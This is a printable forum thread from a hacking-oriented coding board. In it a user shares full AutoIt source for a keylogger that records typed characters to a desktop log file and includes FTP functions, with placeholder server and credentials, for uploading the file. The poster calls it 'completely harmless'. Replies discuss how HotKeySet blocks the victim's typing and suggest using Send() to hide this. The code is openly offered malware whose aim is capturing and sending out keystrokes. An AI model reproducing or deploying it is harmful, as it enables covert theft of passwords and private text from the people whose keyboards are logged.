Sinisterly
HotKeySet() based keylogger, amazingly stable. FTP functions included. - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: HotKeySet() based keylogger, amazingly stable. FTP functions included. (/Thread-HotKeySet-based-keylogger-amazingly-stable-FTP-functions-included)

Pages: 1 2


HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 04-21-2012

Much better than my _IsPressed() based keylogger, much more stable too. Captures everything you type and doesn't miss keys no matter what your typing speed is.

This keylogger captures every key except for F1-F12, insert, home, page up, delete, end, backspace, page down, shift, tab, caps lock, ctrl, alt, directional arrows, and numpad. Basically, everything you normally type with.. Includes characters like" !@#$%^&*()_+" or "<>:?"}{"..

Go ahead and run it, it is completely harmless, unless you want to tweak the code.

Enjoy.

Code:
#include <GUIConstantsEx.au3> #include <ButtonConstants.au3> #include <File.au3> #include <Misc.au3> #include <FTPEx.au3> ;Keylogger UDF ;Coded by Reverence Global $Save, $Size $Server = "ServerName" $Username = "Username" $Password = "Password" $Save = @DesktopDir & "/" & "Log.txt" _FileCreate($Save) _AssignKey() Func _AssignKey() While 1 HotKeySet("a", "_LogA") HotKeySet("b", "_LogB") HotKeySet("c", "_LogC") HotKeySet("d", "_LogD") HotKeySet("e", "_LogE") HotKeySet("f", "_LogF") HotKeySet("g", "_LogG") HotKeySet("h", "_LogH") HotKeySet("i", "_LogI") HotKeySet("j", "_LogJ") HotKeySet("k", "_LogK") HotKeySet("l", "_LogL") HotKeySet("m", "_LogM") HotKeySet("n", "_LogN") HotKeySet("o", "_LogO") HotKeySet("p", "_LogP") HotKeySet("q", "_LogQ") HotKeySet("r", "_LogR") HotKeySet("s", "_LogS") HotKeySet("t", "_LogT") HotKeySet("u", "_LogU") HotKeySet("v", "_LogV") HotKeySet("w", "_LogW") HotKeySet("x", "_LogX") HotKeySet("y", "_LogY") HotKeySet("z", "_LogZ") HotKeySet(" ", "_LogSpace") HotKeySet(".", "_LogDot") HotKeySet("'", "_LogApo") HotKeySet(",", "_LogComma") HotKeySet(";", "_LogSemCol") HotKeySet("/", "_LogRightSlash") HotKeySet("\", "_LogLeftSlash") HotKeySet("[", "_LogRightBracket") HotKeySet("]", "_LogLeftBracket") HotKeySet("1", "_Log1") HotKeySet("2", "_Log2") HotKeySet("3", "_Log3") HotKeySet("4", "_Log4") HotKeySet("5", "_Log5") HotKeySet("6", "_Log6") HotKeySet("7", "_Log7") HotKeySet("8", "_Log8") HotKeySet("9", "_Log9") HotKeySet("0", "_Log0") HotKeySet("{!}", "_LogEx") HotKeySet("A", "_LogCaA") HotKeySet("B", "_LogCaB") HotKeySet("C", "_LogCaC") HotKeySet("D", "_LogCaD") HotKeySet("E", "_LogCaE") HotKeySet("F", "_LogCaF") HotKeySet("G", "_LogCaG") HotKeySet("H", "_LogCaH") HotKeySet("I", "_LogCaI") HotKeySet("J", "_LogCaJ") HotKeySet("K", "_LogCaK") HotKeySet("L", "_LogCaL") HotKeySet("M", "_LogCaM") HotKeySet("N", "_LogCaN") HotKeySet("O", "_LogCaO") HotKeySet("P", "_LogCaP") HotKeySet("Q", "_LogCaQ") HotKeySet("R", "_LogCaR") HotKeySet("S", "_LogCaS") HotKeySet("T", "_LogCaT") HotKeySet("U", "_LogCaU") HotKeySet("V", "_LogCaV") HotKeySet("W", "_LogCaW") HotKeySet("X", "_LogCaX") HotKeySet("Y", "_LogCaY") HotKeySet("Z", "_LogCaZ") HotKeySet(@CRLF, "_LogEnt") HotKeySet("{#}", "_LogNum") HotKeySet("{+}", "_LogPlus") HotKeySet("^", "_LogUp") HotKeySet("{{}", "_LogRight") HotKeySet("{}}", "_LogLeft") HotKeySet("(", "_LogPa1") HotKeySet(")", "_LogPa2") HotKeySet("*", "_LogStar") HotKeySet("&", "_LogAnd") HotKeySet("%", "_LogPercent") HotKeySet("$", "_LogDollar") HotKeySet("@", "_LogAt") HotKeySet("-", "_LogHyphen") HotKeySet("_", "_LogUnderscore") HotKeySet(":", "_LogColon") HotKeySet(">", "_LogRightArr") HotKeySet("<", "_LogLeftArr") HotKeySet("?", "_LogQuesMark") HotKeySet("`", "_LogWeird") HotKeySet("~", "_LogSquiggle") WEnd EndFunc Func _LogA() FileWrite($Save, "a") Call("_AssignKey") EndFunc Func _LogB() FileWrite($Save, "b") Call("_AssignKey") EndFunc Func _LogC() FileWrite($Save, "c") Call("_AssignKey") EndFunc Func _LogD() FileWrite($Save, "d") Call("_AssignKey") EndFunc Func _LogE() FileWrite($Save, "e") Call("_AssignKey") EndFunc Func _LogF() FileWrite($Save, "f") Call("_AssignKey") EndFunc Func _LogG() FileWrite($Save, "g") Call("_AssignKey") EndFunc Func _LogH() FileWrite($Save, "h") Call("_AssignKey") EndFunc Func _LogI() FileWrite($Save, "i") Call("_AssignKey") EndFunc Func _LogJ() FileWrite($Save, "j") Call("_AssignKey") EndFunc Func _LogK() FileWrite($Save, "k") Call("_AssignKey") EndFunc Func _LogL() FileWrite($Save, "l") Call("_AssignKey") EndFunc Func _LogM() FileWrite($Save, "m") Call("_AssignKey") EndFunc Func _LogN() FileWrite($Save, "n") Call("_AssignKey") EndFunc Func _LogO() FileWrite($Save, "o") Call("_AssignKey") EndFunc Func _LogP() FileWrite($Save, "p") Call("_AssignKey") EndFunc Func _LogQ() FileWrite($Save, "q") Call("_AssignKey") EndFunc Func _LogR() FileWrite($Save, "r") Call("_AssignKey") EndFunc Func _LogS() FileWrite($Save, "s") Call("_AssignKey") EndFunc Func _LogT() FileWrite($Save, "t") Call("_AssignKey") EndFunc Func _LogU() FileWrite($Save, "u") Call("_AssignKey") EndFunc Func _LogV() FileWrite($Save, "v") Call("_AssignKey") EndFunc Func _LogW() FileWrite($Save, "w") Call("_AssignKey") EndFunc Func _LogX() FileWrite($Save, "x") Call("_AssignKey") EndFunc Func _LogY() FileWrite($Save, "y") Call("_AssignKey") EndFunc Func _LogZ() FileWrite($Save, "z") Call("_AssignKey") EndFunc Func _LogSpace() FileWrite($Save, " ") Call("_AssignKey") EndFunc Func _LogDot() FileWrite($Save, ".") Call("_AssignKey") EndFunc Func _LogApo() FileWrite($Save, "'") Call("_AssignKey") EndFunc Func _LogComma() FileWrite($Save, ",") Call("_AssignKey") EndFunc Func _LogSemCol() FileWrite($Save, ";") Call("_AssignKey") EndFunc Func _LogRightSlash() FileWrite($Save, "/") Call("_AssignKey") EndFunc Func _LogLeftSlash() FileWrite($Save, "\") Call("_AssignKey") EndFunc Func _LogRightBracket() FileWrite($Save, "[") Call("_AssignKey") EndFunc Func _LogLeftBracket() FileWrite($Save, "]") Call("_AssignKey") EndFunc Func _Log1() FileWrite($Save, "1") Call("_AssignKey") EndFunc Func _Log2() FileWrite($Save, "2") Call("_AssignKey") EndFunc Func _Log3() FileWrite($Save, "3") Call("_AssignKey") EndFunc Func _Log4() FileWrite($Save, "4") Call("_AssignKey") EndFunc Func _Log5() FileWrite($Save, "5") Call("_AssignKey") EndFunc Func _Log6() FileWrite($Save, "6") Call("_AssignKey") EndFunc Func _Log7() FileWrite($Save, "7") Call("_AssignKey") EndFunc Func _Log8() FileWrite($Save, "8") Call("_AssignKey") EndFunc Func _Log9() FileWrite($Save, "9") Call("_AssignKey") EndFunc Func _Log0() FileWrite($Save, "0") Call("_AssignKey") EndFunc Func _LogEx() FileWrite($Save, "!") Call("_AssignKey") EndFunc Func _LogCaA() FileWrite($Save, "A") Call("_AssignKey") EndFunc Func _LogCaB() FileWrite($Save, "B") Call("_AssignKey") EndFunc Func _LogCaC() FileWrite($Save, "C") Call("_AssignKey") EndFunc Func _LogCaD() FileWrite($Save, "D") Call("_AssignKey") EndFunc Func _LogCaE() FileWrite($Save, "E") Call("_AssignKey") EndFunc Func _LogCaF() FileWrite($Save, "F") Call("_AssignKey") EndFunc Func _LogCaG() FileWrite($Save, "G") Call("_AssignKey") EndFunc Func _LogCaH() FileWrite($Save, "H") Call("_AssignKey") EndFunc Func _LogCaI() FileWrite($Save, "I") Call("_AssignKey") EndFunc Func _LogCaJ() FileWrite($Save, "J") Call("_AssignKey") EndFunc Func _LogCaK() FileWrite($Save, "K") Call("_AssignKey") EndFunc Func _LogCaL() FileWrite($Save, "L") Call("_AssignKey") EndFunc Func _LogCaM() FileWrite($Save, "M") Call("_AssignKey") EndFunc Func _LogCaN() FileWrite($Save, "N") Call("_AssignKey") EndFunc Func _LogCaO() FileWrite($Save, "O") Call("_AssignKey") EndFunc Func _LogCaP() FileWrite($Save, "P") Call("_AssignKey") EndFunc Func _LogCaQ() FileWrite($Save, "Q") Call("_AssignKey") EndFunc Func _LogCaR() FileWrite($Save, "R") Call("_AssignKey") EndFunc Func _LogCaS() FileWrite($Save, "S") Call("_AssignKey") EndFunc Func _LogCaT() FileWrite($Save, "T") Call("_AssignKey") EndFunc Func _LogCaU() FileWrite($Save, "U") Call("_AssignKey") EndFunc Func _LogCaV() FileWrite($Save, "V") Call("_AssignKey") EndFunc Func _LogCaW() FileWrite($Save, "W") Call("_AssignKey") EndFunc Func _LogCaX() FileWrite($Save, "X") Call("_AssignKey") EndFunc Func _LogCaY() FileWrite($Save, "Y") Call("_AssignKey") EndFunc Func _LogCaZ() FileWrite($Save, "Z") Call("_AssignKey") EndFunc Func _LogEnt() FileWrite($Save, @CRLF) Call("_AssignKey") EndFunc Func _LogNum() FileWrite($Save, "#") Call("_AssignKey") EndFunc Func _LogPlus() FileWrite($Save, "+") Call("_AssignKey") EndFunc Func _LogUp() FileWrite($Save, "^") Call("_AssignKey") EndFunc Func _LogRight() FileWrite($Save, "{") Call("_AssignKey") EndFunc Func _LogLeft() FileWrite($Save, "}") Call("_AssignKey") EndFunc Func _LogPa1() FileWrite($Save, "(") Call("_AssignKey") EndFunc Func _LogPa2() FileWrite($Save, ")") Call("_AssignKey") EndFunc Func _LogStar() FileWrite($Save, "*") Call("_AssignKey") EndFunc Func _LogAnd() FileWrite($Save, "&") Call("_AssignKey") EndFunc Func _LogPercent() FileWrite($Save, "%") Call("_AssignKey") EndFunc Func _LogDollar() FileWrite($Save, "$") Call("_AssignKey") EndFunc Func _LogAt() FileWrite($Save, "@") Call("_AssignKey") EndFunc Func _LogHyphen() FileWrite($Save, "-") Call("_AssignKey") EndFunc Func _LogUnderscore() FileWrite($Save, "_") Call("_AssignKey") EndFunc Func _LogQuesMark() FileWrite($Save, "?") Call("_AssignKey") EndFunc Func _LogRightArr() FileWrite($Save, ">") Call("_AssignKey") EndFunc Func _LogLeftArr() FileWrite($Save, "<") Call("_AssignKey") EndFunc Func _LogWeird() FileWrite($Save, "`") Call("_AssignKey") EndFunc Func _LogSquiggle() FileWrite($Save, "~") Call("_AssignKey") EndFunc Func _LogColon() FileWrite($Save, ":") Call("_AssignKey") EndFunc Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile) $oFTP = _FTP_Open("myftp") $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) _FTP_FilePut($oConnect, $LocFile, $RemFile) _FTP_Close($oFTP) EndFunc Func _FTP_CreateDir($DirName) $oFTP = _FTP_Open("myftp") $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) _FTP_DirCreate($oConnect, $DirName) _FTP_Close($oFTP) EndFunc



RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Alienbablu - 05-20-2012

showing error in line 8...............................................


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 05-20-2012

(05-20-2012, 12:03 AM)Alienbablu Wrote: showing error in line 8...............................................

Line 8 isn't even relevant to the code.


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Jacob - 05-20-2012

As far as I know, when you use hotkeyset() function it disallows the user to actually type. I know this sounds weird but hotkeyset() natively disables user input so that it can tell if the key was pressed or not. And if it was, then it will tell your system to call that function instead of the system function for outputting the respective key.


When try using less system calls. This goes for programming in general.

For example
[spoiler="C++"]
Code:
System("Beep")[/spoiler]

[spoiler="Autoit3"]
Code:
Call("_aFunction")[/spoiler]

If you want to call a function in autoit, it is far more productive just to type

Code:
_aFunction(any parameters)

instead of using the system call.

Aside from this^^

This looks really good Smile


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 05-20-2012

(05-20-2012, 10:59 AM)Jacob Wrote: As far as I know, when you use hotkeyset() function it disallows the user to actually type. I know this sounds weird but hotkeyset() natively disables user input so that it can tell if the key was pressed or not. And if it was, then it will tell your system to call that function instead of the system function for outputting the respective key.


When try using less system calls. This goes for programming in general.

For example
[spoiler="C++"]
Code:
System("Beep")[/spoiler]

[spoiler="Autoit3"]
Code:
Call("_aFunction")[/spoiler]

If you want to call a function in autoit, it is far more productive just to type

Code:
_aFunction(any parameters)

instead of using the system call.

Aside from this^^

This looks really good Smile

LOL I know. I just made it for shits and giggles.

I wanted to see how people respond when they realize that they couldn't type while the keylogger was on.. It is nonetheless, pretty stable.


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - 1234hotmaster - 05-25-2012

looks nice good work.


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012

using this the keyboard doesen't work at all, because your using hotkeyset.


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - 1234hotmaster - 09-18-2012

(09-18-2012, 10:53 AM)spymare Wrote: using this the keyboard doesen't work at all, because your using hotkeyset.

LOL I ABSOLUTELY FORGOT TO SAY IT IN THIS THREAD! Well you could resolve that by using Send() but eh... It wont work on all applications so the user will be confused why the keyboard isn't working Tongue


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012

i'm using Send(), haven't experienced any programs where it didn't work Smile


RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012

i'm using Send(), haven't experienced any programs where it didn't work Smile